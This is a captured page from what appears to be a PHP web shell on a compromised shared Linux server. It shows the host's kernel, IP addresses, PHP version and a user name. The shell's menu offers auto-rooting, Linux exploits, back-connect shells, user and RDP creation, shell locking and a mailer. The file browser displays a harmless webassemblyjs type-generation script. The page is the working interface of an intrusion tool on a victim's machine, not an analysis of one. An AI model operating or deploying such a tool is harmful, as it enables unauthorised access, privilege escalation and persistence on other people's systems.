Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@webassemblyjs /
ast /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
generateNodeUtils.js
5.23
KB
-rw-r--r--
generateTypeDefinitions.js
1.11
KB
-rw-r--r--
util.js
801
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generateTypeDefinitions.js
const definitions = require("../src/definitions"); const flatMap = require("array.prototype.flatmap"); const { typeSignature, mapProps, iterateProps, unique } = require("./util"); const stdout = process.stdout; function params(fields) { return mapProps(fields) .map(typeSignature) .join(","); } function generate() { stdout.write(` // @flow /* eslint no-unused-vars: off */ // THIS FILE IS AUTOGENERATED // see scripts/generateTypeDefinitions.js `); // generate union types const unionTypes = unique( flatMap(mapProps(definitions).filter(d => d.unionType), d => d.unionType) ); unionTypes.forEach(unionType => { stdout.write( `type ${unionType} = ` + mapProps(definitions) .filter(d => d.unionType && d.unionType.includes(unionType)) .map(d => d.name) .join("|") + ";\n\n" ); }); // generate the type definitions iterateProps(definitions, typeDef => { stdout.write(`type ${typeDef.name} = { ...BaseNode, type: "${typeDef.name}", ${params(typeDef.fields)} };\n\n`); }); } generate();
Close